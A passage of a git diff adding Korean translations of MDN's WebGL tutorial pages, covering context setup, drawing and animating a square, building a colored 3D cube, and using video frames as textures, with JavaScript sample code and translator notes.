+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+  gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+  setMatrixUniforms();
+  gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
+}
+
+ +

첫번째 과정은 배경색에 컨텍스트를 clear하는 것입니다. 그 다음 카메라의 원근을 설정합니다. 시점을 45°로, 종횡비를 640/480(캔버스의 크기)로 설정합니다. 또한 카메라로부터  0.1에서 100단위 사이에 있는 오브젝트만 렌더링하도록 정합니다.

+ +

그런 다음 identity(항등) position을 불러오고 카메라에서 6단위 만큼 translate(변환)하여 사각형의 위치를 정합니다 . 그 다음 사각형 정점 버퍼를 컨텍스트에 연결해 구성한 뒤 drawArrays() 메서드를 불러와 객체를 그립니다. 

+ +

브라우저가 웹GL을 지원한다면 다음 링크에서 확인 할 수 있습니다.  try out this demo by clicking here

+ +

행렬 유틸리티를 이용한 연산

+ +

행렬 연산은 꽤 복잡합니다. 행렬을 다루기 위한 코드를 직접 작성하고 싶은 사람은 아무도 없을 것입니다. 다행히도 벡터와 행렬 연산을 자바스크립트에서 다루는 데 아주 편리한 라이브러리인 Sylvester가 있습니다.

+ +

이 데모에서 사용한glUtils.js 파일은 웹에 떠돌아 다니는 많은 WebGL 데모에서 사용하고 있습니다. 이 파일이 어디서 나온 것인지 명확히 아는 사람은 아무도 없는것 같습니다만, HTML 로 출력하기 위한 메소드 뿐만 아니라 특별한 형태의 행렬을 만들기 위한 메소드를 추가되어 있어   Sylvester를 보다 정말 단순화 시켜놓았습니다.

+ +

게다가 이 데모는 특정 작업을 위한 라이브러리를 이용할 때 도움될만한 몇가지 루틴을 정의하고 있습니다.  정확히 이것들이 어떤 일을 하는 것인지는 이 데모에서 다룰 범위는 아닙니다. 하지만 온라인에서 참고할만 한 좋은 레퍼런스가 많이 있습니다. 아래 {{ anch("See also") }} 섹션에 그 중 몇 개를 소개하고 있습니다.

+ +
function loadIdentity() {
+  mvMatrix = Matrix.I(4);
+}
+
+function multMatrix(m) {
+  mvMatrix = mvMatrix.x(m);
+}
+
+function mvTranslate(v) {
+  multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());
+}
+
+function setMatrixUniforms() {
+  var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
+  gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+
+  var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
+  gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
+}
+
+ +

See also

+ + + +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html new file mode 100644 index 0000000000..c8dfcc893d --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html @@ -0,0 +1,125 @@ +--- +title: WebGL을 사용한 객체 애니메이션 +slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +tags: + - WebGL + - 애니메이션 + - 회전 +translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

+ +

앞 단원에서의 예제 코드는 정지되어 있는 것처럼 보이지만 사실은 15밀리초마다 한 번 씩 WebGL 장면(Scene)을 다시 그리도록 설정되어 있습니다. 그려질 객체의 상태가 계속 똑같기 때문에, 똑같은 객체를 15밀리초마다 계속 다시 그리고 있는 것입니다. 이제 우리가 그린 정사각형을 실제로 움직이게 만들어 보겠습니다.

+ +

이번 예제에서는 2차원 정사각형을 3차원으로 회전시키고 이동시켜 보겠습니다. 3차원을 이루는 X, Y, Z축 방향 모두를 중심으로 회전시켜 보면, 우리가 그린 것은 2차원 정사각형이지만 3차원 공간 안에 존재한다는 것을 실감할 수 있을 것 입니다.

+ +

정사각형 회전시키기

+ +

먼저 정사각형을 회전시켜 보겠습니다. 회전 시키려면 회전 상태(회전량)를 저장할 변수가 필요합니다:

+ +
var squareRotation = 0.0;
+
+ +

이제 정사각형을 그릴 때 회전을 반영하도록 drawScene() 함수를 수정해야 합니다. 정사각형을 처음에 그려질 위치로 이동시키고 나서 다음과 같이 회전을 적용합니다:

+ +
mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+
+ +

현재 상태의 모델-뷰 행렬을 저장하고, X축과 Z축을 기준으로 squareRotation 만큼 행렬을 회전시킵니다.

+ +

정사각형을 그리고 난 후에 모델-뷰 행렬을 원상태로 복구합니다:

+ +
mvPopMatrix();
+
+ +

모델-뷰 행렬을 복구하는 이유는 이 회전이 다른 객체에 영향을 미치는 것을 예방하기 위해서 입니다.

+ +

실제로 애니메이션 효과가 나타나도록 하려면 squareRotation 값을 시간이 지남에 따라 계속 변경해주는 코드를 추가해야 합니다. lastSquareUpdateTime이라는 변수에 마지막으로 다시 그렸던 시각을 저장하고, 다음과 같은 코드를 drawScene()에 추가합니다: 

+ +
var currentTime = (new Date).getTime();
+if (lastSquareUpdateTime) {
+  var delta = currentTime - lastSquareUpdateTime;
+
+  squareRotation += (30 * delta) / 1000.0;
+}
+
+lastSquareUpdateTime = currentTime;
+
+ +

이 코드는 마지막으로 squareRotation의 값을 변경한 시각과 현재 시각과의 차이를 이용해서 회전량을 나타내는 squareRotation의 값을 결정 합니다.

+ +

정사각형 이동시키기

+ +

정사각형을 그리기 전에 위치값을 변경하면 정사각형을 이동시킬 수 있습니다. 이번 예제에서는 학습을 목적으로 아주 기초적인 애니메이션을 구현해봅니다. 실전에서 이런 식으로 애니메이션을 구현하면 사람들에게 사랑받지 못할 것입니다.

+ +

X, Y, Z 각 축별 오프셋(offset) 값을 새 변수에 저장합니다:

+ +
var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+
+ +

축 별 위치 변동값을 다음과 같이 각기 다른 값으로 지정합니다:

+ +
var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+
+ +

이제 위치 변동값을 계산하는 코드를 위에서 구현한 회전량 계산 코드 바로 아래에 추가합니다:

+ +
squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+if (Math.abs(squareYOffset) > 2.5) {
+  xIncValue = -xIncValue;
+  yIncValue = -yIncValue;
+  zIncValue = -zIncValue;
+}
+
+ +

마지막으로 다음 코드를 drawScene() 함수에 추가합니다:

+ +
mvTranslate([squareXOffset, squareYOffset, squareZOffset]);
+ +

이제 정사각형이 화면에서 좌, 우, 위, 아래, 앞, 뒤로 완전히 자기멋대로 움직이면서 회전하는 것을 볼 수 있습니다. 어찌보면 바탕화면 보호기 같기도 합니다.

+ +

WebGL이 지원되는 브라우저라면, 여기에서 실제 동작하는 예제를 확인할 수 있습니다.

+ +

추가적인 행렬 연산

+ +

아래의 예제는 스택을 사용하는 두 개의 push, pop 루틴과, 주어진 각도만큼 회전시키는 행렬을 포함하는 몇 가지 추가적인 행렬 연산을 사용합니다. 한 번 참고하시기 바랍니다:

+ +
var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+  if (m) {
+    mvMatrixStack.push(m.dup());
+    mvMatrix = m.dup();
+  } else {
+    mvMatrixStack.push(mvMatrix.dup());
+  }
+}
+
+function mvPopMatrix() {
+  if (!mvMatrixStack.length) {
+    throw("Can't pop from an empty matrix stack.");
+  }
+
+  mvMatrix = mvMatrixStack.pop();
+  return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+  var inRadians = angle * Math.PI / 180.0;
+
+  var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+  multMatrix(m);
+}
+
+ +

이 루틴은 예전에 Vlad Vukićević가 작성했던 예제를 참고하여 만들었습니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

diff --git a/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html new file mode 100644 index 0000000000..723c1318ab --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html @@ -0,0 +1,117 @@ +--- +title: WebGL에서의 텍스쳐 애니메이션 +slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +tags: + - Animation + - HTML5 + - Texture + - Video + - WebGL + - 애니메이션 + - 웹지엘 + - 텍스쳐 +translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

앞 단원에서는 정적인 텍스쳐를 사용한 예제를 만들어 봤었는데, 이번에는 Ogg 비디오 파일을 이용해서 텍스쳐에 애니메이션 효과를 적용해 보겠습니다. 사실 만들기 상당히 쉽지만, 그래도 보는 재미는 쏠쏠하니까 한 번 만들어 보겠습니다. 텍스쳐를 구성할 소스로 어떤 종류의 데이터(예를 들면 {{ HTMLElement("canvas") }}와 같은)를 쓰더라도 코드는 비슷할 것입니다.

+ +

텍스쳐를 구성할 비디오 로딩

+ +

가장 먼저 할 일은 비디오 프레임을 조회하는데 사용할 {{ HTMLElement("video") }} 요소를 생성하는 것입니다:

+ +
<video id="video">
+  Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code> element.
+</video>
+
+ +
+

역자 주 : 실제 예제 소스 코드를 보면 비디오 태그가 위와 같이 id 속성만 있는 것이 아니라 아래와 같이 src 속성과 autoplay 속성도 추가되어 있습니다.

+ +
<video id="video" src="Firefox.ogv" autoplay>
+  Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code> element.
+</video>
+
+
+ +

위 코드는 'Firefox.ogv" 비디오 파일을 재생할 {{ HTMLElement("video") }} 요소를 생성합니다. 다음과 같은 CSS 코드를 작성해서 비디오가 자동으로 표시되지 않도록 합니다:

+ +
video {
+  display: none;
+}
+
+ +

이제 자바스크립트 코드를 살펴보겠습니다. start() 함수에 비디오 요소에 대한 참조를 가져오는 코드를 추가합니다:

+ +
videoElement = document.getElementById("video");
+
+ +

setInterval()을 이용해서 drawScene()을 주기적으로 호출하던 코드를 아래의 코드로 대체합니다:

+ +
videoElement.addEventListener("canplaythrough", startVideo, true);
+videoElement.addEventListener("ended", videoDone, true);
+
+ +

비디오 요소의 src 속성으로 비디오 파일의 위치를 지정해서 비디오 로딩을 시작합니다. FIXME (이 글의 작성자의 한 사람인 bjacob에게) : preload="auto"를 여기에서 명시하지 않으면 파이어폭스에서는 canplaythrough 이벤트가 발생되지 않음. 크롬에서는 preload="auto" 지정 여부와 관계없이 비디오 로딩 시작.

+ +
+

역자 주 : 예제에 보면 아래와 같이 자바스크립트에서 preload나 src를 명시하지 않고, 위의 역자 주에 있는 것처럼 비디오 태그 내에 속성값으로 기술하고 있으므로, 바로 위 문단과 아래의 코드는 무시해도 좋을 것 같습니다.

+
+ +
video.preload = "auto";
+videoElement.src = "Firefox.ogv";
+ +

비디오 재생 시 끊김이 없도록 충분히 버퍼링 해둔 후에 애니메이션을 시작하는 것이 좋습니다. 전체 비디오가 끊김 없이 재생될 수 있을만큼 충분한 데이터가 버퍼링 된 후에 비디오의 재생이 시작되도록 아래와 같이 canplaythrough 이벤트에 대한 리스너인 startVideo()를 추가합니다:

+ +
function startVideo() {
+  videoElement.play();
+  intervalID = setInterval(drawScene, 15);
+}
+
+ +

위 코드는 단순히 비디오 재생을 시작하고, 정육면체의 렌더링을 처리하는 drawScene() 함수를 setInterval() 함수를 이용해서 주기적으로 호출합니다.

+ +

비디오가 끝날 때 방생하는 ended 이벤트에 대한 리스너도 추가해서, 비디오 재생이 끝나면 불필요하게 CPU 시간을 잡아먹지 않도록 애니메이션을 중단시킵니다.

+ +
function videoDone() {
+  clearInterval(intervalID);
+}
+ +

videoDone() 함수는 단순히 {{ domxref("window.clearInterval()") }} 함수를 호출해서 애니메이션을 업데이트하는 drawScene() 함수의 호출을 중단시킵니다.

+ +

비디오 프레임을 텍스쳐로 사용하기

+ +

비디오 로딩과 재생에 대한 처리를 마치면, initTexture() 함수의 내용을 변경해야 합니다. 이번에는 이미지를 로딩하는 대신 비어있는 텍스쳐 객체를 생성하고, 텍스쳐 객체를 나중에 사용할 수 있도록 필터링을 설정하기만 하면 되므로, initTexture() 함수의 내용이 앞 단원의 예제보다 조금 더 간단해집니다: 

+ +
function initTextures() {
+  cubeTexture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+}
+
+ +

가장 중요한 텍스쳐의 업데이트를 담당하는 updateTexture() 함수는 다음과 같습니다:

+ +
function updateTexture() {
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, videoElement);
+}
+
+ +

위와 같은 코드를 전에 본 적이 있을 것입니다. texImage2D()를 호출할 때 Image 객체를 전달하지 않고 {{ HTMLElement("video") }} 요소를 전달한다는 것만 제외하면, 앞 단원에서 사용했던 handleTextureLoaded() 루틴과 거의 똑같습니다. 현재의 프레임을 추출해서 텍스쳐로 사용하는 것은 WebGL이 알아서 처리합니다.

+ +

drawScene() 함수에는 맨 앞에 updateTexture()를 추가합니다. drawScene() 함수에 의해 장면을 다시 그릴 때마다 updateTexture()이 호출됩니다.

+ +

이제 완성입니다! WebGL을 지원하는 브라우저라면 여기에서 실제 작동하는 예제를 확인할 수 있습니다.

+ +

참고 자료

+ + + +

{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html new file mode 100644 index 0000000000..e4d3cf991f --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html @@ -0,0 +1,132 @@ +--- +title: WebGL로 3D 객체 만들기 +slug: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +tags: + - 3D + - 3차원 + - WebGL + - 입체 +translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

+ +

이제 우리가 만든 정사각형에 5개의 면을 더해서 3차원 정육면체를 만들어 보겠습니다. 이 작업을 조금 더 효율적으로 하기 위해서 drawArray() 메서드를 호출해서 정점을 직접 핸들링하는 대신에, 정점 배열을 인덱스와 값으로 정의된 테이블이라고 생각하고, 각 정점을 인덱스로 참조해서 정육면체 각 면의 정점 위치를 정의하고 gl.drawElements()를 호출해서 그려보겠습니다.

+ +

고려 사항 : 정육면체의 각 면은 4개의 정점이 필요하고, 정육면체에는 6개의 면이 있으므로 총 24개의 정점이 필요할 것 같지만, 하나의 정점이 세 개의 면에 공통적으로 사용되므로 실제로는 8개의 정점만 있으면 됩니다. 그리고 이 8개의 정점 각각에 인덱스 번호를 매겨서 참조하면 한 개의 정점을 세 개의 면에 재사용할 수 있습니다. 하지만 이번 예제에서는 8개가 아니라 24개의 정점을 사용하는데, 그 이유는 한 꼭지점에서 만나는 세 개의 면마다 다른 색상을 적용할 것이기 때문입니다. 하나의 정점은 한 개의 색상만을 가질 수 있으므로, 세 개의 색상을 표시하려면 세 개의 정점이 필요합니다. 따라서 기하학적으로는 하나의 꼭지점일지라도 세 개의 색상을 표시하기 위해서는 세 개의 정점이 필요 합니다.

+ +

정육면체의 정점 위치 정의

+ +

먼저 initBuffers() 내부에 있는 코드를 수정해서 정육면체의 정점 버퍼를 만듭니다. 방식은 정사각형을 그릴 때와 거의 비슷하지만, 정점의 수는 하나의 면에 4개 씩, 총 24개로 정사각형보다 더 많습니다:

+ +
var vertices = [
+  // 앞면(Front face)
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // 뒤면(Back face)
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // 위면(Top face)
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // 아래면(Bottom face)
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // 오른쪽면(Right face)
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // 왼쪽면(Left face)
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+
+ +

정점의 색상 정의

+ +

24개 정점의 색상 배열도 만들어야 합니다. 각 면의 색상을 하나의 배열로 정의하고, 반복문을 돌면서 모든 정점의 색상 정보를 하나의 배열로 만듭니다.

+ +
var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // 앞면 : 흰색
+  [1.0,  0.0,  0.0,  1.0],    // 뒤면 : 빨간색
+  [0.0,  1.0,  0.0,  1.0],    // 위면 : 녹색
+  [0.0,  0.0,  1.0,  1.0],    // 아래면 : 파란색
+  [1.0,  1.0,  0.0,  1.0],    // 오른쪽면 : 노란색
+  [1.0,  0.0,  1.0,  1.0]     // 왼쪽면 : 보라색
+];
+
+var generatedColors = [];
+
+for (j=0; j<6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i<4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+
+ +

인덱스 배열 정의

+ +

정점 배열을 만들었으면 인덱스 배열(원문 : element array)을 만들어야 합니다.

+ +
cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// 인덱스 배열은 하나의 면을 두 개의 삼각형으로 정의합니다.
+// 인덱스 배열의 원소인 각 숫자는 정점 배열에서 한 정점의 위치를 나타냅니다.
+// 즉, 아래의 인덱스 배열에서의 0, 1, 2,   0, 2, 3은
+// 정점 배열에서 0, 1, 2번째의 정점으로 이루어진 삼각형과
+// 0, 2, 3번째 정점으로 이루어진 삼각형 두 개로
+// 하나의 면을 나타낸다는 의미입니다.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // front
+  4,  5,  6,      4,  6,  7,    // back
+  8,  9,  10,     8,  10, 11,   // top
+  12, 13, 14,     12, 14, 15,   // bottom
+  16, 17, 18,     16, 18, 19,   // right
+  20, 21, 22,     20, 22, 23    // left
+];
+
+// 인덱스 배열을 GL에 전달
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+
+ +

cubeVertexIndices 배열은 정육면체 정점 배열의 인덱스값을 원소로 가지며, 각 인덱스 값에 해당하는 정점을 순서대로 세 개씩 묶어서 하나의 삼각형을 구성하고, 삼각형 두 개를 순서대로 묶어서 하나의 면으로 정의합니다. 따라서 6개의 면을 가진 정육면체는 12개의 삼각형의 조합으로 표현할 수 있습니다.

+ +

정육면체 그리기

+ +

다음 단계로 정육면체의 인덱스 버퍼를 이용해서 정육면체를 그릴 수 있도록 drawScene() 함수 내부에 코드를 추가 합니다. 인덱스 버퍼를 사용하기 위한 bindBuffer()와 정육면체를 그리기 위한 drawElements() 호출문을 추가합니다:

+ +
gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+ +

정육면체의 각 면이 두 개의 삼각형으로 이루어져 있으므로, 한 면에는 6개의 정점이 있으며, 정육면체 전체로는 총 36개의 정점이 존재합니다. 정점 배열에는 24개의 정점이 있었으므로 36개의 정점을 구성하려면 하나의 정점이 여러번 중복되어 사용 되었을 것 입니다. 비효율적이라고 생각될 수도 있지만, 인덱스 배열은 처리가 단순한 정수형 데이터로만 구성되어 있으므로, 36개의 정수형 배열이 하나의 애니메이션 프레임에서 처리하기에 지나치게 많은 수준의 데이터는 아닙니다.

+ +

이제 지금까지 만든 정육면체를 확인 해 보겠습니다. WebGL을 지원하는 브라우저에서는 여기에서 6개의 면이 원색으로 채색된 정육면체를 볼 수 있습니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html new file mode 100644 index 0000000000..95fcd36346 --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -0,0 +1,100 @@ +--- +title: Getting started with WebGL +slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +tags: + - Tutorial + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

+ +

WebGL은 플러그인을 사용하지 않고 OpenGL ES 2.0 기반 API를 이용하여 브라우저의 HTML canvas에 렌더링하여 3D 웹 콘텐츠 제작을 가능하게 합니다. WebGL 프로그램은 컴퓨터의 그래픽 처리 장치(GPU)에서 실행되는 자바스크립트나 특수 효과(셰이더 코드)코드로 구성됩니다. WebGL 요소들은 다른 HTML 요소들과 혼합될 수 있고 페이지나 페이지 배경의 다른 부분과 합성될 수 있습니다.

+ +

이 문서는 기본 WebGL 기본 사항을 소개합니다. 이 문서에서는 3D 그래픽에 관련된 수학적 이해를 이미 이해하고 있다고 간주하고 OpenGL 자체에 대하여 설명하지 않을 것입니다.

+ +

3D 렌더링 준비

+ +

WebGL을 사용하여 3D 렌더링을 하는 데 첫 번째로 필요한 것은 캔버스입니다. 아래 HTML 코드는 canvas를 만들고 사용할 WebGL 컨텍스트를 초기화하는 onload 이벤트 핸들러를 지정합니다.

+ +
<body onload="start()">
+  <canvas id="glcanvas" width="640" height="480">
+    Your browser doesn't appear to support the HTML5 <code>&lt;canvas&gt;</code> element.
+  </canvas>
+</body>
+ +

WebGL 컨텍스트 준비

+ +

자바스크립트 코드에서 start() 함수는 문서가 다 불러와지면 호출됩니다. 이 함수의 기능은 WebGL 컨텍스트를 설정하고 콘텐츠 렌더링을 시작하는 것입니다.

+ +
var gl; // A global variable for the WebGL context
+
+function start() {
+  var canvas = document.getElementById("glcanvas");
+
+  gl = initWebGL(canvas);      // Initialize the GL context
+
+  // Only continue if WebGL is available and working
+
+  if (gl) {
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // Set clear color to black, fully opaque
+    gl.enable(gl.DEPTH_TEST);                               // Enable depth testing
+    gl.depthFunc(gl.LEQUAL);                                // Near things obscure far things
+    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // Clear the color as well as the depth buffer.
+  }
+} 
+ +

첫 번째 할 일은 canvas에 대한 참조를 얻는 것 입니다. canvas라는 변수에 지정합니다. 당연히 canvas를 반복적으로 참조할 필요는 없고 전역 변수로 저장하는 것은 피해야 합니다. 지역 변수나 객체의 필드 멤버로 참조해야 됩니다.

+ +

캔버스가 있으면 initWebGL()이라는 함수를 호출할 수 있습니다. 이 함수는 일시적으로 정의되고 WebGL 컨텍스트를 초기화하는 일을 합니다.

+ +

만약 컨텍스트가 성공적으로 초기화 되면 gl은 이를 참조합니다. 이번 예제에서는 검은색 투명 색상을 설정하면 컨텍스트를 그 색상으로 지정합니다. 그 다음 컨텍스트는 설정 매개변수로 설정됩니다. 예제에서는 깊이 테스트가 가능하고 가까운 물체가 멀리 떨어저 있는 물체를 가리는 것을 지정합니다.

+ +

코드에서 초기화를 전달하는 목적은 우리가 하려는 것 전부 입니다. 잠시 후 실제로 무언가를 어떻게 시작하는가 알아볼 것입니다.

+ +

WebGL 컨텍스트 생성

+ +

initWebGL() 함수는 다음과 같습니다.

+ +
function initWebGL(canvas) {
+  gl = null;
+
+  try {
+    // Try to grab the standard context. If it fails, fallback to experimental.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
+  // If we don't have a GL context, give up now
+  if (!gl) {
+    alert("Unable to initialize WebGL. Your browser may not support it.");
+    gl = null;
+  }
+
+  return gl;
+}
+
+ +

캔버스에서 WebGL 컨텍스트를 얻기 위해 canvas로 "webgl"이라고 불리는 컨텍스트를 요청할 것입니다. 만약에 실패한다면 "experimental-webgl"이라는 이름으로 시도할 것입니다. 만약 이마저도 실패한다면 사용자에게 사용 중인 브라우저가 WebGL을 지원하지 않는다는 경고를 출력할 것입니다. 이게 전부입니다. 이 시점에서 gl은 null(WebGL 컨텍스트를 이용할 수 없다는 의미)이거나 렌더링할 WebGL 컨텍스트를 참조할 것입니다.

+ +
Note: experimental-webgl이라는 이름은 사양 개발 시 사용되는 컨텍스트를 위한 일시적인 이름입니다. webgl은 사양이 확정되면 사용됩니다.
+ +

이 시점에서 이 코드는 WebGL 컨텍스트가 성공적으로 초기화하는 데 충분한 코드입니다. 이 코드를 통해 검정 박스 형태의 빈 공간이 형성되며, 여기에 콘텐츠를 생성할 기본 준비가 되었습니다.

+ +

여기를 클릭하여 예제를 확인하세요. 브라우저가 WebGL을 호환한다면 실행될 것 입니다.

+ +

WebGL 컨텍스트 크기 조정

+ +

이제 새로운 WebGL 컨텍스트는 새로운 컨텍스트 인스턴스를 얻었습니다. 그리고 CSS 없이 캔버스 요소의 height와 width로 뷰포트의 해상도를 설정합니다. 캔버스 요소의 스타일 편집하면 출력되는 크기를 변경될 것이지만 렌더링 해상도는 변경되지 않습니다. 또한 컨텍스트가 생성된 후 캔버스 요소의 width와 height 속성을 편집하면 그려지는 픽셀 수를 변경할 수 없습니다. WebGL 렌더의 해상도를 변경하려면 사용자가 캔버스 문서 전체 창 크기를 조정하거나 앱에서 그래픽 설정을 조정할 수 있게 하길 원할 것입니다. WebGL 컨텍스트 viewport() 함수가 변경할 수있는 것으로 알려져 있습니다.

+ +

렌더링된 WebGL 컨텍스트의 해상도를 수정하려면 위에 나오는 gl과 canvas 변수를 사용해야 됩니다.

+ +
gl.viewport(0, 0, canvas.width, canvas.height);
+ +

캔버스는 CSS 스타일과 다른 해상도로 렌더링되어질 때 화면에서 차지하는 크기를 볼 것입니다. CSS로 크기를 조정하면 낮은 해상도에서 렌더링하거나 브라우저 화면을 확대할 때 자원을 절약하는 데 유용합니다. 축소는 슈퍼샘플 안티에일리어싱(SSAA) 효과를 사용할 때 가능합니다. (많은 성능 비용이 발생하고 작은 결과이기는 하지만) 아래에 참고 사항을 살펴보는 것이 가장 좋습니다.

+ + + +

{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/index.html b/files/ko/web/api/webgl_api/tutorial/index.html new file mode 100644 index 0000000000..0e6230b0ea --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/index.html @@ -0,0 +1,40 @@ +--- +title: WebGL tutorial +slug: Web/API/WebGL_API/Tutorial +tags: + - Tutorial + - WebGL +translation_of: Web/API/WebGL_API/Tutorial +--- +
{{WebGLSidebar}}
+ +
+

WebGL 은 WebGL을 지원하는 브라우져에서 plugin을 사용하지 않고도, 웹 콘텐츠가 OpenGL ES 2.0 기반의 API를 이용하여 HTML {{HTMLElement("canvas")}}에서 3D 랜더링을 할 수 있도록 해 줍니다. WebGL 프로그램은 JavaScripts로 작성 된 제어 코드와 컴퓨터의 Graphics Processing Unit (GPU)에서 실행되는 특수한 효과를 내는 코드(Shader code)로 구성 됩니다. WebGL 요소들은 다른 HTML요소들과 섞어서 함께 사용 할 수 있으며 페이지의 다른 부분이나 페이지 배경과 함께 사용 할 수 있습니다.

+
+ +

